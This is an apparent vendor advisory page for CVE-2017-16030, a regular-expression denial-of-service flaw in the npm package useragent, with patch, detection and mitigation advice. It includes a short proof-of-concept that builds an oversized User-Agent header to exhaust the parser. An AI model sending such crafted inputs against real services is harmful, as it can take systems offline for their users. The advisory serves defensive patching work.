How severe is CVE-2017-16030?

No CVSS score has been assigned to CVE-2017-16030 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2017-16030?

CVE-2017-16030 affects the following packages: useragent (npm). Ecosystems affected: npm.

How do I fix CVE-2017-16030?

Update useragent to 2.1.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2017-16030 is resolved across your whole dependency graph.

How do I detect CVE-2017-16030 in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for useragent, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2017-16030 if there is no patch (or I can't update yet)?

Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Is CVE-2017-16030 actively exploited in the wild?

Yes. There are 1 known exploit references for CVE-2017-16030, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for CVE-2017-16030?

CVE-2017-16030 has an EPSS (Exploit Prediction Scoring System) score of 1.1%, placing it in the 67th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2017-16030?

CVE-2017-16030 is classified as Uncontrolled Resource Consumption (CWE-400). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2017-16030 published, and has it been updated?

CVE-2017-16030 was published on July 24, 2018 and was last updated on November 8, 2023. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

Not in CISA KEV

CVE-2017-16030 — useragent

CVE-2017-16030 is a Uncontrolled Resource Consumption vulnerability in useragent. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for useragent — see the affected versions and patch details below.

ReDoS via long UserAgent header in useragent

Published

Jul 24, 2018

Updated

Nov 8, 2023

Affected

1 pkg

Patched

1 / 1

Exploits

1 known

Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗

1.1%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs67th percentile — riskier than 67% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

📦useragent

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Affected versions of useragent are vulnerable to regular expression denial of service when an arbitrarily long User-Agent header is parsed.

Proof of Concept

var useragent = require('useragent');

var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));

Recommendation

Update to version 2.1.13 or later.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`useragent`	all versions	2.1.13`npm install useragent@2.1.13`

Affected Products

1 product · 1 configurations

Application

useragentuseragent_project

≤ 2.1.12

range

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Useragent is used to parse useragent headers. It uses several regular ex…

nodesecurity.ioNVDOct 2019

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for useragent, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update useragent to 2.1.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2017-16030 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed. ## Proof of Concept ```js var useragent = require('useragent'); var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP'; var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n'; console.log(useragent.parse(request)); ``` ## Recommendation Update to version 2.1.13 or later.

O3 Security · Impact-Aware SCA

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